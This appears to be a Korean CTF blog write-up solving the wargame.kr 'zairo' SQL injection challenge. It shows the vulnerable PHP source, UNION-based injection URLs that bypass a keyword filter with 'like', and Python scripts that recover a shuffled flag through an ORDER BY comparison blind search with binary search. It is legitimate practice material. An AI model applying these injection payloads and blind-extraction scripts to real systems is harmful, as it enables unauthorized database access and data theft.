여튼 풀이 방법은 거의 유사한줄 알았는데 이렇게 내 발목을 잡을줄이야...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | <?php error_reporting(0); include( "./config.php" ); // hidden column name include( "../lib.php" ); // auth_code function mysql_connect( "localhost" , "zairo" , "zairo_pz" ); mysql_select_db( "zairo" ); /**********************************************************************************************************************/ function rand_string() { $string = "1234567890abcdefghijklmnopqrstuvwxyz" ; return str_shuffle($string); } function reset_flag($count_column, $flag_column) { global $count; $flag = rand_string(); $query = mysql_fetch_array(mysql_query( "SELECT $count_column, $flag_column FROM findflag_2" )); $count = $query[$count_column]; if ($query[$count_column] == 150) { if (mysql_query( "UPDATE findflag_2 SET $flag_column='{$flag}';" )) { mysql_query( "UPDATE findflag_2 SET $count_column=0;" ); echo "reset flag<hr>" ; } return $flag; } else { mysql_query( "UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);" ); } return $query[$flag_column]; } function get_pw($pw_column){ $query = mysql_fetch_array(mysql_query( "select $pw_column from findflag_2 limit 1" )); return $query[$pw_column]; } /**********************************************************************************************************************/ $tmp_flag = "" ; $tmp_pw = "" ; $id = $_GET[ 'id' ]; $pw = $_GET[ 'pw' ]; $flags = $_GET[ 'flag' ]; $count = 0; if (isset($id)) { if (preg_match( "/information|schema|user|where|=/i" , $id) || substr_count($id, "(" ) > 0) exit ( "no hack" ); if (preg_match( "/information|schema|user|where|=/i" , $pw) || substr_count($pw, "(" ) > 0) exit ( "no hack" ); $tmp_flag = reset_flag($count_column, $flag_column); $tmp_pw = get_pw($pw_column); $query = mysql_fetch_array(mysql_query( "SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';" )); echo "<hr />NOW COUNT = {$count}<br />" ; if ($query[$id_column]) { if (isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag) { echo "good job!!<br />FLAG : <b>" .auth_code( "zairo" ). "</b><hr>" ; } else { echo "Hello " .$query[$id_column]. "<hr>" ; } } } else { highlight_file(__FILE__); } ?> |
패스워드 컬럼을 알아보기 위해 다음과 같이 입력한다.
1 | ?id=%27%20union%20select%201%2C&pw=%2C3%2C4%2C5%23 |
패스워드 컬럼을 알아냈다.
이렇게 쿼리를 짜서 보내자.
1 | ?id=%27%20union%20select%201%2CxvvcPw4coaa1sslfe%2C3%2C4%2C5%20/%2A&pw=%2A/%20from%20findflag_2%20%23 |
패스워드도 알아냈다.
아이디를 알아내야하는데 이 문제에서는 where과 =를 사용할 수가 없다.
고로 1=1 union 이었던걸 다음과 같이 1 like 1 로 바꿔준다.
1 | ?id=' OR 1 like 1 union select 1%2C2%2C&pw=%2C4%2C5%23 |
이제 대 난관인 플래그만 남았다. (를 사용할 수 없으니 서브쿼리의 사용도 어려워보인다.
그래서 시도해본건 우선 order by를 이용해보기로 했다. 원래는 order by에서도 서브쿼리를 사용할 수 있지만 괄호를 사용할 수 없으니..
error base를 사용하는 글 같은데, 그냥 착안해서.. 이렇게 생각을 해봤다.
1열에 a가 있다면,
2열에 z를 넣으면 order by에 의해서 값이 변경해지지않을까? 해서 blind로 해볼수있지 않을까 생각을 해봤는데..
정상 아스키코드값이 아니면(a~Z, 특문등) 그냥 1열을 출력하는데 그 반대의 경우는 그냥 2열을 출력했다.
1 | urllib.quote( "*/ union SELECT 1,{},3,4,5 FROM findflag_2 order by 2 limit 1 #" .format(hex(j))) |
이런 느낌으로 해봤는데 사실, 150번만 하면 리셋이 되버리기 때문에 이게 가능한가 생각이 들었다..그러다가 order by로 값을 order by 해보았는데 신기하게도 계속 같은 값이 나왔다. 희한했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | data = "?id=" data = data + urllib.quote( "' union select 1,2,3,4,5 from findflag_2 /*" ) data = data + "&pw=" data = data + urllib.quote( "*/ union select true,true,'{}{}',4,5 order by 3 desc#" .format( 'w' ,string[i])) data = data + "&flag=" data = data + urllib.quote( "" ) response = urllib2.urlopen(req) res = response.read() print res |
이런 느낌이다. for문을 이용해서 하나씩 빼다가, 다른값이 나오는 값 이전의 데이터를 넣고 하나씩 돌리다보면,
wkdlfhpw (이후는 전부 z)값을 얻을 수가 있다. 그런데.. order by 3컬럼은 비밀번호였다 ㅡㅡ 이미 알고있는 값... 어처구니 미싱...
왜 굳이 3으로 했냐 돌대가리야 하면서 4로 옮겨서 돌려보기 시작했다. 돌릴때마다 리셋이 되는걸 보니 맞다.
flag값은 36자리로 정확히 정해져있으므로 한번 나온 값은 다시 나오지 않는다. 그래서 대충 코드를 이렇게 짜봤는데, 한 10자리만 돌리면 이후부턴 제대로 값을 알아내질 못한다. 예를들어 이렇게 나온다.
1 | kvj3yha675zxwutsrqponmligfedcb098421 |
한 열자리까지는 정상 범주로 가는것 같다가도 남은자리를 그냥 출력해버리고 마는것이다.... 잘되다가 막힌 느낌이었다. (사실, 이게 정답인지도 모르고 하지만서도..)
짧게는 5자리에서도 그러는데, 내 생각엔 다음으로 올 아스키코드보다 큰 수가 박히게 되면 다음값을 계산못하는게 아닌가.. 그런생각을 했다.
그래서 어떻게 했느냐? 그냥 될때까지 돌려보기로 했다 (--) 돌리는 와중에 str_shuffle에 취약점이 없나 살펴보는것도 잊지 않았지만 소득은 딱히...(str_shuffle은 게싱하기 쉬운 함수라고 한다. 그럼.. 얘를 돌파할 수 있는 코드를 짜야한다는건가?;;)
한참 고민을 하다보니 10자리에서 왜 출력이 안되는지 알 수 있었다. 임의로 코드를 짜봤는데 다음과 같다
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | import random s = "0123456789abcdefghijklmnopqrstuvwxyz" sqlstr = '' .join(random.sample(s,len(s))) string = "0123456789abcdefghijklmnopqrstuvwxyz{" count = 0 answ = "" while (1): for i in range(0,len(string)): condition = "{}{}" .format(answ,string[i]) print answ, string if sqlstr < condition: answ = str(answ) + str(string[(i-1)]) string = string.replace(str(string[(i-1)]), '' ) break count = count + 1 if count >= 150: print "\nfailed" print "origin:" + sqlstr print "found :" + answ print "remain:" + str(len(string)-1) break else : print count if len(answ) == 36: print "\ncomplete" print "guessed:" + answ print "origin :" + sqlstr print "match :" + str(answ == sqlstr) print "count:" + str(count) break |
내가 돌린 방법과 임의 문자열을 한개씩 매칭할때, 150번으론 택도 없다는 결론에 도달할 수 있었다.
못해도 290회, 많게는 420회까지 횟수가 필요했다.
===========
2017.01.08
새해.. 나는 이 문제를 풀고말겠다는 일념을 다졌다. 왜냐면, 아이디어 하나가 스쳐갔기때문이다.
왜 단순히 range로 생각했을까? 뭔가를 찾으려면 바이너리 서치를 하면되는데..
다만 이 경우에는 완전히 match를 구분할 수 있는 방법이 없기때문에 넘겨 짚었던것 같다. 어쨌든, match 없이 string을 찾는 python code를 작성해봤다. (첨작성한것과 jake가 작성한거랑 다름)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | #!/usr/bin/env python # -*- coding: utf-8 -*- from random import sample from copy import deepcopy s = "0123456789abcdefghijklmnopqrstuvwxyz" chars = list(s)[::-1] secret = '' .join(sample(s, len(s))) ans = "" comp = 0 while True and len(chars): lo = 0 hi = len(chars) guessed = [] while lo <= hi: mid = (lo + hi) // 2 char = chars[mid] if char in guessed: ans += char chars. remove ( char ) break charless = deepcopy(chars) charless. remove ( char ) guess = "{0}{1}{2}" .format(ans, char , '' .join(charless)) guessed.append( char ) if lo == hi: ans += char chars. remove ( char ) elif secret > guess: hi = mid else : lo = mid comp += 1 print "{0}\t{1}\t{2}\t{3}\t{4}\t{5}" .format(secret, guess, hi, lo, mid, comp) |
잘나온다. 심지어 150번안에 수행완료..
물론, 위코드처럼 돌리면 횟수가 딸리는데, 어쨌든 바이너리서치형태로 만들어서 시도하면 문제 정복에 성공할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | #!/usr/bin/env python # -*- coding: utf8 -*- import re, sys, time , urllib, urllib2 headers = { 'Host' : 'wargame.kr:8080' } s = "0123456789abcdefghijklmnopqrstuvwxyz" chars = list(s)[::-1] ans = "" while True and len(chars): lo = 0 hi = len(chars) guessed = [] while lo <= hi: time .sleep(0.01) mid = (lo + hi) // 2 char = chars[mid] if char in guessed: ans += char chars. remove ( char ) break charless = list(chars) charless. remove ( char ) guess = "{0}{1}{2}" .format(ans, char , '' .join(charless)) guessed.append( char ) id = urllib.quote( "'UNION SELECT * FROM findflag_2/*" ) pw = urllib.quote( "*/UNION SELECT 1,2,3,\"{}\",5 ORDER BY 4 ASC#" .format(guess)) data = "?id={0}&pw={1}&flag=" .format(id, pw) response = urllib2.urlopen(req) res = response.read() count = re.findall(r "NOW COUNT = (\d+)" , res)[0] if "reset" in res: sys. exit ( "[!] FAILED: FLAG RESET" ) if "zairowkdlfhdkel" in res: lo = mid else : hi = mid print "{0}\t{1}\t{2}\t{3}\t{4}" .format(guess, hi, lo, mid, count) pass req = urllib2.Request( "http://wargame.kr:8080/zairo/?id=zairowkdlfhdkel&pw=wkdlfhpw!!@%%%23@@%23&flag={0}" .format(guess), '' , headers) response = urllib2.urlopen(req).read() flag = re.findall(r "FLAG : <b>([0-9a-f]+)</b>" , response) print "[*] OUR GUESS: {0}" .format(guess) print "[!] SUCCESS! FLAG: {0}" .format(flag[0]) |
개인시간도 부족하고 헤매서 오래 걸렸는데 괜히 감회가 새로운 느낌이다. 888점 획득!